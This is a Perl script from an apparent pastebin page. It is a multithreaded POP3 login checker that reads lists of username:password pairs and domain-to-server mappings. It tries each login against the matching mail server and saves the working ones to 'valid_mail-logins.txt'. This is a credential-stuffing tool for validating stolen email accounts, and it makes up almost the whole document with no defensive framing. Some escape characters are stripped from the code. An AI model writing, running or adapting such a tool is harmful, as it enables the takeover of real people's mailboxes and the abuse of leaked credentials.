- use threads;
- use warnings;
- use Net::POP3;
- my $counter=0;
- my $threads = $ARGV[0];
- if (@ARGV <1){print "Usage: Check.pl Threadnumber [Example: check.pl 10]n";exit;}
- my $trigger = 10;
- my @accs;
- &begin;
- print "[-] Starting....n[-]n";
- foreach my $item (@accs){
- my $ctr = 0;foreach my $thr (threads->list) { $ctr++;}
- if ($counter == $trigger){print "[-] $counter of ".scalar(@accs)."n";$trigger = $trigger + 10;}
- if ($ctr < $threads){ $counter++;threads->create(&connect,$item);}else {redo;}
- }
- while (threads->list) {}
- print "[-]n[-] Done .... ";
- sub connect{
- my $item = shift;
- my @temp = split( /:/, $item);
- chomp($temp[0]);
- chomp($temp[1]);
- my $username = $temp[0];
- my $password = $temp[1];
- for(my $i = 0; $i < @pop3_kennung; $i++) {
- if($username =~ m/$pop3_kennung[$i]/) {
- chomp($pop3_server[$i] );
- if($pop = Net::POP3->new($pop3_server[$i], Timeout => 20 )) {
- my $ret;
- if( $ret = $pop->login($username, $password) and $ret > 0) {
- &handle($username.":".$password);
- }
- close($pop);
- }
- }
- }
- threads->detach();
- }
- sub handle{
- my $tmps = shift;
- open(FILE_OUT,">> valid_mail-logins.txt");
- print FILE_OUT "$tmpsn";
- close(FILE_OUT);
- }
- sub begin {
- open(FILE_IN_LOGIN, "logindaten.txt" ) or die("Cannot find logindaten.txtn");
- open(FILE_IN_POP3, "pop3_server.txt" ) or die("Cannot find pop3_server.txtn");
- while(!eof(FILE_IN_POP3)) {
- my $line = <FILE_IN_POP3>;
- my @temp = split(/:/, $line);
- push( @pop3_kennung, $temp[0]);
- push( @pop3_server, $temp[1]);
- }
- foreach (<FILE_IN_LOGIN>){
- push @accs, $_;
- }
- close(FILE_IN_LOGIN);
- close(FILE_IN_POP3);
- }
Undefined
By: Guest | Date: Apr 30 2009 23:42 | Format: None | Expires: never | Size: 1.73 KB | Hits: 1102
Latest pastes
1 hours ago
11 hours ago
1 days ago
2 days ago
2 days ago